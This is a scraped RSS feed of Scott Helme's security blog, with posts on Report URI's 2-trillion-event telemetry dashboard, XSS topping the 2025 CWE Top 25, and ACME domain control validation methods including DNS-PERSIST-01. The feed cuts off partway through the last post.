                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/07/Screenshot-2025-07-01-113513.png" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;"><p>We&#x2019;ve just passed a monumental milestone: <strong>2 trillion events processed</strong> through <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>!!! That&#x2019;s <em>2,000,000,000,000</em> events for <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">CSP</a>, <a href="https://report-uri.com/products/network_error_logging?ref=scotthelme.ghost.io" rel="noreferrer">NEL</a>, <a href="https://report-uri.com/products/dmarc_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">DMARC</a>, and other browser-generated and email telemetry reports&#x2014;ingested, parsed, and processed for our customers!</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="565" height="215"></a></figure><p></p><p>This is a phenomenal milestone to achieve in the year that will mark our 10th Birthday, and shows just how quickly we&apos;re still growing!</p><p><strong>May 2015</strong>: 0 Events - Launch Day [<a href="https://scotthelme.co.uk/csp-and-hpkp-violation-reporting-with-report-uri-io/?ref=scotthelme.ghost.io" rel="noreferrer">source</a>]<br><strong>March 2021</strong>: 500,000,000,000 Events - 500 Billion Events [<a href="https://www.facebook.com/reporturi/posts/pfbid0jZJQRbPsDZZsKnA21QzwQa7CcATd1AjD8Zwr4EPHeqytrDAC5hTjuSc8wbH5xuz2l" rel="noreferrer">source</a>]<br><strong>February 2022</strong>: 1,000,000,000,000 Events - 1 Trillion Events [<a href="https://x.com/Scott_Helme/status/1490066996268052494?ref=scotthelme.ghost.io" rel="noreferrer">source</a>]<br><strong>November 2023</strong>: 1,500,000,000,000 Events - 1.5 Trillion Events [<a href="https://scotthelme.co.uk/report-uri-a-week-in-numbers-2023-edition/?ref=scotthelme.ghost.io" rel="noreferrer">source</a>]<br><strong>July 2025</strong>: 2,000,000,000,000 Events - 2 Trillion Events [keep reading!]</p><p></p>
    <!--kg-card-begin: html-->
    <a href="https://report-uri.com/?ref=scotthelme.ghost.io" style="box-shadow: none;">
      <img src="https://scotthelme.co.uk/content/images/2025/07/report-uri---Copy.png" style="max-width: 75%;" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;">
    </a>
    <!--kg-card-end: html-->
    <p></p><p>To mark this incredible occasion, I&apos;m excited to announce the <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Global Telemetry Dashboard</a>. I often get questions about how many telemetry events we process per day, how many browsers send us telemetry, where does the telemetry come from?! Well, now, you can see the answer to all of those questions and a lot more. If you like cool graphs, geeky data, and insights into things operating at enormous scale, you&apos;re really going to enjoy this! &#x1F60E;</p><p></p><h4 id="the-report-uri-global-telemetry-dashboard">The Report URI Global Telemetry Dashboard</h4><p>Taking screenshots and sharing them here really isn&apos;t going to do this justice, and there is a special surprise on one of the dashboards that I&apos;m not going to spoil for you here! If you want to see all of this stuff live and have a play around with it yourself, head over to the <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">dashboard</a> now. For those of you still here, I want to share some information and insights into the data. </p><p>As of the time of writing, this is the exact data showing on the homepage of the dashboard:</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-1.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="782" height="717" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-1.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-1.png 782w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>That incredible number of almost 2 trillion events processed is right there, and a pretty incredible average of over <em>12,000 events per second</em> that we processed yesterday! The thing that always strikes me about this number is that this isn&apos;t requests that we&apos;re serving a response to, nothing here can be served from cache. Each inbound event needs processing, analysing, and storing, with the potential for alerts to be raised, Threat Intelligence to be generated, customers to be notified and much, much more. Another impressive statistic is just how many unique clients out there are sending us telemetry data, reaching almost a quarter of a billion unique clients in just the last 30 days! That&apos;s a huge amount of insight into the Web ecosystem and a significant contributing factor to the benefit we can bring by leveraging that insight to spot attacks faster. The remainder of the <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Dashboard Home</a> page shows additional insights into our traffic volumes, showing the hourly data for the last 24 hours, and the daily data for the last 7 and 30 days.</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-5.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="950" height="562" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-5.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-5.png 950w" sizes="(min-width: 720px) 720px"></a></figure><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-3.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="940" height="555" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-3.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-3.png 940w" sizes="(min-width: 720px) 720px"></a></figure><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-4.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="943" height="550" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-4.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-4.png 943w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>You can already start to see some interesting trends in that data, and these are trends that we&apos;ve been tracking for a really long time. The 24 hour graph clearly shows the busy periods within a typical day for us, and it&apos;s not surprising to guess at what time of the day we see the most telemetry! Both the 7 day and 30 day graphs show our typical weekly trends too, with far more activity showing Mon-Fri than at the weekend. </p><p></p><h4 id="the-global-heat-map">The Global Heat Map</h4><p>This particular page in the dashboard is my second-favourite, and it&apos;s easy to see why. Looking at the telemetry we received over the last 30 days, this <a href="https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io" rel="noreferrer">heat map</a> shows where that telemetry came from!</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-6.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="1475" height="740" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-6.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/image-6.png 1000w, https://scotthelme.ghost.io/content/images/2025/07/image-6.png 1475w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>You can zoom in to the map and really start to see where the busiest locations for us receiving telemetry are, with some expected locations showing up as the hottest areas of the map, and some more surprising areas showing up in there too! Zooming all the way in to the datacentre just down the road from me in Manchester, you can see exact counts of telemetry that went through that location in the last 30 days.</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-7.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="748" height="825" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-7.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-7.png 748w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>Have a fly around the map and see what your nearest location is and what volume of telemetry went through that location in the last 30 days on our <a href="https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io" rel="noreferrer">Heat Map</a>!</p><p></p><h4 id="we-have-a-pew-pew-map">We have a Pew Pew Map!</h4><p>Okay okay I said I wasn&apos;t going to spoil the surprise, but I am way too excited about this one! Ever since seeing the original Norse Attack Map over 10 years ago, I&apos;ve always wanted my own <a href="https://dash.report-uri.com/pewpewmap/?ref=scotthelme.ghost.io" rel="noreferrer">Pew Pew Map</a>, and now we have one! The GIF here is simply not going to do this justice, so you absolutely should head over to the page and see this thing live, in action, right now!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/pew-pew-map-1.gif" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="1602" height="1015" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/pew-pew-map-1.gif 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/pew-pew-map-1.gif 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2025/07/pew-pew-map-1.gif 1600w, https://scotthelme.ghost.io/content/images/2025/07/pew-pew-map-1.gif 1602w" sizes="(min-width: 720px) 720px"></figure><p></p><p>What you&apos;re seeing here is <em>actual telemetry</em> being to sent to us! The map is 5 minutes behind real-time, and the data is real. The more red the zap is, the more telemetry we received from that location, and the faster the zap is moving, the more frequently we are receiving telemetry from that location! There are no estimations here, there is no mock data. This is a direct representation of real data, and I think that just makes this even more awesome! Our primary datacentre is located in SFO, as I&apos;m sure you&apos;ve guessed, and we do have a secondary location in AMS for our more regulated EU customers, but they are excluded from this data. </p><p>I&apos;m tempted to get myself a second monitor off to the side of my desk just for this map, it really is quite cool to watch. If you come back at different times during the day, you can clearly see the different trends in our traffic patterns for inbound telemetry, to the point where you can almost track the Sun moving across the map based on the telemetry volumes!</p><p></p><h4 id="country-specific-data">Country Specific Data</h4><p>There&apos;s just no way you can top a Pew Pew Map, but we do still have a heap of interesting data that we can peruse. The next page is our <a href="https://dash.report-uri.com/country/?ref=scotthelme.ghost.io" rel="noreferrer">Country Specific Data</a>, which in many ways shows exactly what you might expect, with a couple of surprises in there too.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-8.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="850" height="493" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-8.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-8.png 850w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The US is by far our largest source of telemetry data, which makes a lot of sense as a large portion of our customers are US-based companies, likely with US based visitors themselves. People may be surprised to see Japan so high up that list, but we do have a few quite notable customers in Japan, including a rather large coffee company, so they generate more than their fair share of telemetry. After that, the UK is coming in, followed by India that are helped by their population size, and then a broad selection of countries that you might expect to see up there too. The table below that gives exact details on our Top 20 Countries, but here are the top 3 for you.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-9.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="754" height="305" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-9.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-9.png 754w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="some-technical-data">Some technical data!</h4><p>To close things out for now, we have our <a href="https://dash.report-uri.com/info/?ref=scotthelme.ghost.io" rel="noreferrer">Detailed Information</a> dashboard that goes into a little bit more of the technical data behind our inbound telemetry. We do have plans to expand this to incorporate a lot more metrics, but for now, I think we have a pretty good selection available. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-10.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="1027" height="1153" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-10.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/image-10.png 1000w, https://scotthelme.ghost.io/content/images/2025/07/image-10.png 1027w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the HTTP Version and TLS Protocol used, you can see that we clearly have a very wide selection of modern clients out there, using TLSv1.3 almost exclusively, and HTTP/2 and HTTP/3 taking the lion&apos;s share of the application protocol. When responding to inbound telemetry requests, our most common response is an empty txt response to save as much bandwidth and overhead as possible, we simply reply with an empty 201 to acknowledge receipt. After the 201, we have a variety of response codes that we might use along with a message in the body to give more information on the problem to help with debugging. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-11.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="1025" height="1145" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-11.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/image-11.png 1000w, https://scotthelme.ghost.io/content/images/2025/07/image-11.png 1025w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Taking a look across the next set of data, I&apos;m often quite surprised to see Firefox so heavily represented in the Client UA, but there are a wider selection of Chromium based browsers in the mix. The front runners for Top Colo By Requests won&apos;t be a huge surprise given the country data above, but it is nice to see a breakdown of where our most popular locations are. Closing it out, we have a little more client data showing the Client OS, with a probably expected Windows and iOS being the most dominant, and Client Type showing that Desktop is hanging on to the top spot with Mobile close behind!</p><p></p><h4 id="theres-more-to-come">There&apos;s more to come!</h4><p>I created this dashboard to scratch an itch, I got to play with some cool data, and as I mentioned above, I&apos;ve <em>always</em> wanted a pew pew map! I also really enjoyed stepping away from the more serious responsibilities of being &apos;CEO and Founder&apos; to play around with cool technology and build something awesome! That is, after all, why I founded the company in the first place. </p><p>I hope the dashboard will be interesting and provide some insight into what we&apos;re doing, and if there&apos;s something you&apos;d like to see added to the dashboard, or any questions you have, just let me know in the comments below. As I come across any interesting metrics in the future, I&apos;ll be sure to add them to the dashboard, and I&apos;d love to hear your suggestions too!</p><p></p>]]></content:encoded>
            </item>
        </channel>
    </rss>
    Raw text
    <?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Scott Helme]]></title><description><![CDATA[Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.]]></description><link>https://scotthelme.ghost.io/</link><image><url>https://scotthelme.ghost.io/favicon.png</url><title>Scott Helme</title><link>https://scotthelme.ghost.io/</link></image><generator>Ghost 6.22</generator><lastBuildDate>Fri, 13 Mar 2026 22:57:04 GMT</lastBuildDate><atom:link href="https://scotthelme.ghost.io/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[XSS Ranked #1 Top Threat of 2025 by MITRE and CISA]]></title><description><![CDATA[<p>Look who&apos;s back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">wrote about that</a>, and at the end of the blog post I said &quot;<em>Let&apos;s make sure that XSS isn&apos;t #1 in</em></p>]]></description><link>https://scotthelme.ghost.io/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/</link><guid isPermaLink="false">69af02a1fedfb90001b38825</guid><category><![CDATA[XSS]]></category><category><![CDATA[Report URI]]></category><category><![CDATA[CSP]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 10 Mar 2026 14:21:27 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2026/03/mitre-cisa.png" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/03/mitre-cisa.png" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA"><p>Look who&apos;s back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">wrote about that</a>, and at the end of the blog post I said &quot;<em>Let&apos;s make sure that XSS isn&apos;t #1 in 2025!</em>&quot;... Well, I have some bad news...</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/03/image.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="820" height="425" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/03/image.png 600w, https://scotthelme.ghost.io/content/images/2026/03/image.png 820w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="looking-at-the-data">Looking at the data</h4><p>I wrote a whole bunch in that <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">previous blog post</a> about what the CVE program is and what CWE means, so if you want the background, you should definitely head there and read that post first. Here, I want to take a look at the data and see how things are going. Looking at the <a href="https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html?ref=scotthelme.ghost.io#top25list" rel="noreferrer">list</a> of the Top 25 threat in 2025, and then downloading all of the <a href="https://www.cve.org/downloads?utm_source=scotthelme.co.uk" rel="noreferrer">raw data</a>, we can produce some details on the top threats. </p><p></p><table>
    <thead>
    <tr>
    <th>CWE ID</th>
    <th style="text-align:right">Vulnerabilities Caused</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>CWE-79</td>
    <td style="text-align:right">7,303</td>
    </tr>
    <tr>
    <td>CWE-89</td>
    <td style="text-align:right">3,758</td>
    </tr>
    <tr>
    <td>CWE-862</td>
    <td style="text-align:right">2,190</td>
    </tr>
    <tr>
    <td>CWE-352</td>
    <td style="text-align:right">1,682</td>
    </tr>
    <tr>
    <td>CWE-22</td>
    <td style="text-align:right">967</td>
    </tr>
    <tr>
    <td>CWE-121</td>
    <td style="text-align:right">827</td>
    </tr>
    <tr>
    <td>CWE-284</td>
    <td style="text-align:right">796</td>
    </tr>
    <tr>
    <td>CWE-78</td>
    <td style="text-align:right">748</td>
    </tr>
    <tr>
    <td>CWE-434</td>
    <td style="text-align:right">744</td>
    </tr>
    <tr>
    <td>CWE-120</td>
    <td style="text-align:right">732</td>
    </tr>
    <tr>
    <td>CWE-200</td>
    <td style="text-align:right">703</td>
    </tr>
    <tr>
    <td>CWE-125</td>
    <td style="text-align:right">653</td>
    </tr>
    <tr>
    <td>CWE-416</td>
    <td style="text-align:right">642</td>
    </tr>
    <tr>
    <td>CWE-502</td>
    <td style="text-align:right">619</td>
    </tr>
    <tr>
    <td>CWE-77</td>
    <td style="text-align:right">550</td>
    </tr>
    <tr>
    <td>CWE-20</td>
    <td style="text-align:right">516</td>
    </tr>
    <tr>
    <td>CWE-122</td>
    <td style="text-align:right">513</td>
    </tr>
    <tr>
    <td>CWE-787</td>
    <td style="text-align:right">500</td>
    </tr>
    <tr>
    <td>CWE-918</td>
    <td style="text-align:right">483</td>
    </tr>
    <tr>
    <td>CWE-476</td>
    <td style="text-align:right">478</td>
    </tr>
    <tr>
    <td>CWE-94</td>
    <td style="text-align:right">468</td>
    </tr>
    <tr>
    <td>CWE-863</td>
    <td style="text-align:right">409</td>
    </tr>
    <tr>
    <td>CWE-639</td>
    <td style="text-align:right">362</td>
    </tr>
    <tr>
    <td>CWE-306</td>
    <td style="text-align:right">356</td>
    </tr>
    <tr>
    <td>CWE-770</td>
    <td style="text-align:right">317</td>
    </tr>
    <tr>
    <td><strong>Total</strong></td>
    <td style="text-align:right"><strong>43,473</strong></td>
    </tr>
    </tbody>
    </table>
    <p></p><p>Sadly, as we can see, we still have quite a lot of work to do on this front as XSS (CWE-79) continues to absolutely dominate the rankings! Not only was it the top threat, nothing else even came close.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/03/image-1.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="1000" height="530" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/03/image-1.png 600w, https://scotthelme.ghost.io/content/images/2026/03/image-1.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="looking-further-back">Looking further back</h4><p>Given that the entire archive of the Top 25 is <a href="https://cwe.mitre.org/top25/archive/?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, I thought I&apos;d take a look at how XSS performed over all the years we have data, back as far as 2010(!), and it&apos;s not filling me with confidence.</p><p></p><table>
    <thead>
    <tr>
    <th>Year</th>
    <th style="text-align:right">XSS Rank</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>2026</td>
    <td style="text-align:right">#1 (so far!)</td>
    </tr>
    <tr>
    <td>2025</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2024</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2023</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2022</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2021</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2020</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2019</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2011</td>
    <td style="text-align:right">#4</td>
    </tr>
    <tr>
    <td>2010</td>
    <td style="text-align:right">#1</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>As far back as the data goes, we have seen that XSS is consistently a top ranked threat, never having the left the <strong><em>Top 4</em></strong>!</p><p></p><h4 id="detecting-and-mitigating-xss">Detecting and Mitigating XSS</h4><p>Regular readers will know by now that Content Security Policy provides for an effective mechanism to protect against XSS. Our sole purpose at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is to help organisations deploy a strong CSP to their website and to monitor for signs of trouble should they arise. We have a whole heap of resources to get you started, so head on over to start a free trial and reach out if you need any support getting going.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2026/03/report-uri---wide.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="974" height="141" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/03/report-uri---wide.png 600w, https://scotthelme.ghost.io/content/images/2026/03/report-uri---wide.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>I have my fingers crossed that we might be able to do something to stop XSS becoming the #1 Top Threat of 2026, but given it already has twice the number of vulnerabilities than its closest competitor, we&apos;d best get started on making some progress soon!</p><p></p>]]></content:encoded></item><item><title><![CDATA[DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World]]></title><description><![CDATA[<p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let&apos;s take a look at the benefits and the drawbacks.</p><p></p><h4 id="first-a-quick-recap">First, a quick recap</h4><p>When you approach a Certificate Authority, like</p>]]></description><link>https://scotthelme.ghost.io/dns-persist-01-handling-domain-control-validation-in-a-short-lived-certificate-world/</link><guid isPermaLink="false">6960bdfda2de7d0001fa2984</guid><category><![CDATA[DCV]]></category><category><![CDATA[DNS-PERSIST-01]]></category><category><![CDATA[Certificate Authorities]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 09 Feb 2026 17:55:16 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2026/01/dns-persist-01.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/dns-persist-01.webp" alt="DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World"><p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let&apos;s take a look at the benefits and the drawbacks.</p><p></p><h4 id="first-a-quick-recap">First, a quick recap</h4><p>When you approach a Certificate Authority, like Let&apos;s Encrypt, to issue you a certificate, you need to complete DCV. If I go to Let&apos;s Encrypt and say &quot;I own <code>scotthelme.co.uk</code> so please issue me a certificate for that domain&quot;, Let&apos;s Encrypt are required to say &quot;prove that you own <code>scotthelme.co.uk</code> and we will&quot;. That is the very essence of DCV, the CA needs to <em><strong>V</strong>alidate</em> that I do <em><strong>C</strong>ontrol</em> the <em><strong>D</strong>omain</em> in question. We&apos;re not going to delve in to the details, but it will help to have a brief understanding of the existing DCV mechanisms so we can see their shortcomings, and compare those to the potential benefits of the new mechanism.</p><p></p><h4 id="http-01">HTTP-01</h4><p>In order to demonstrate that I do control the domain, Let&apos;s Encrypt will give me a specific path on my website that I will host a challenge response. </p><pre><code>http://scotthelme.co.uk/.well-known/acme-challenge/3wQfZp0K4lVbqz6d1Jm2oA</code></pre><p></p><p>At that location, I will place the response which might look something like this.</p><pre><code>3wQfZp0K4lVbqz6d1Jm2oA.P7m1k2Jf8h...b64urlThumbprint...</code></pre><p></p><p>By challenging me to provide this specific response at this specific URL, I have demonstrated to Let&apos;s Encrypt that I have control over that web server, and they can now proceed and issue me a certificate. </p><p>The problem with this approach is that it requires the domain to be publicly resolvable, which it might not be, and the system requiring the certificate needs to be capable of hosting web content. Even I have a variety of internal systems that I use certificates on that are not publicly addressable in any way, so I use the next challenge method for them, but HTTP-01 is a great solution if it works for your requirements.</p><p></p><h4 id="dns-01">DNS-01</h4><p>Using the DNS-01 method, Let&apos;s Encrypt still need to verify my control of the domain, but the process changes slightly. We&apos;re now going to use a DNS TXT record to demonstrate my control, and it will be set on a specific subdomain.</p><pre><code>_acme-challenge.scotthelme.co.uk</code></pre><p></p><p>The format of the challenge response token changes slightly, but the concept remains the same and I will set a DNS record like so:</p><pre><code>Name:  _acme-challenge.scotthelme.co.uk
    Type:  TXT
    Value: &quot;X8d3p0ZJzKQH4cR1N2l6A0M9mJkYwqfZkU5c9bM2EJQ&quot;</code></pre><p></p><p>Upon completing a DNS resolution and seeing that I have successfully set that record at their request, Let&apos;s Encrypt can now issue the certificate as I have demonstrated control over the DNS zone. This is far better for my internal environments, and is the method I use, as all they need to do is hit my DNS providers API to set the record and they can they pull the certificate locally, without having any exposure on the public Internet. The DNS-01 mechanism is also required if you want to issue wildcard certificates, which can&apos;t be obtained with HTTP-01. </p><p></p><h4 id="tls-alpn-01">TLS-ALPN-01</h4><p>The final mechanism, which is much less common, requires quite a dynamic effort from the host. The CA can connect to the host on port 443, and advertise a special capability in the TLS handshake. The host at <code>scotthelme.co.uk:443</code> must be able to negotiate that capability, and then generate and provide a certificate with the critically flagged <code>acmeIdentifier</code> extension containing the challenge response token, and the correct names in the SAN.</p><p>That&apos;s no small task, so I can see why this mechanism is much less common, but it does have different considerations than HTTP-01 or DNS-01 so if it works for you, it is available. </p><p></p><h4 id="in-summary">In summary</h4><p>All 3 of those mechanisms are currently valid for DCV, and in essence they provide the following:</p><p>HTTP-01 &#x2192; prove control of web content<br>DNS-01 &#x2192; prove control of DNS zone<br>TLS-ALPN-01 &#x2192; prove control of TLS endpoint</p><p></p><h4 id="looking-to-the-future">Looking to the future</h4><p>I think the considerations for each of those mechanisms are clear, with both HTTP-01 and DNS-01 being favoured, and TLS-ALPN-01 trailing behind. Being able to serve web content on the public Internet, or having access and control to a DNS zone, are both quite big requirements that require technical consideration. Don&apos;t get me wrong, DCV should not be &apos;easy&apos;, especially when you think about the risks involved with DCV not being done properly or not being effective, but I also understand the difficulties where neither of those mechanisms are quite right for a particular environment and that they come with their own considerations, especially at large scale! </p><p>Another challenge to consider is the continued drive to reduce the lifetime of certificates. You can see my <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">blog post</a> on how all certificates will be reduced to a maximum of 47 days by 2029, and how Let&apos;s Encrypt are already offering <a href="https://scotthelme.co.uk/lets-encrypt-to-offer-6-day-certificates/?ref=scotthelme.ghost.io" rel="noreferrer">6-day certificates</a> now, which is a great things for security, but it does need considering. A CA can verify your control of a domain and remember that for a period of time, continuing to issue new certificates against that previous demonstration of DCV, but the time periods they can be re-used for is also reducing. Here&apos;s a side-by-side comparison of the certificate maximum lifetime, and the DCV re-use periods.</p><p></p><table>
    <thead>
    <tr>
    <th>Year</th>
    <th>Certificate Lifetime</th>
    <th>DCV Re-use Window</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Now</td>
    <td>398 days</td>
    <td>398 days</td>
    </tr>
    <tr>
    <td>2026</td>
    <td>200 days</td>
    <td>200 days</td>
    </tr>
    <tr>
    <td>2027</td>
    <td>100 days</td>
    <td>100 days</td>
    </tr>
    <tr>
    <td>2029</td>
    <td>47 days</td>
    <td>10 days</td>
    </tr>
    </tbody>
    </table>
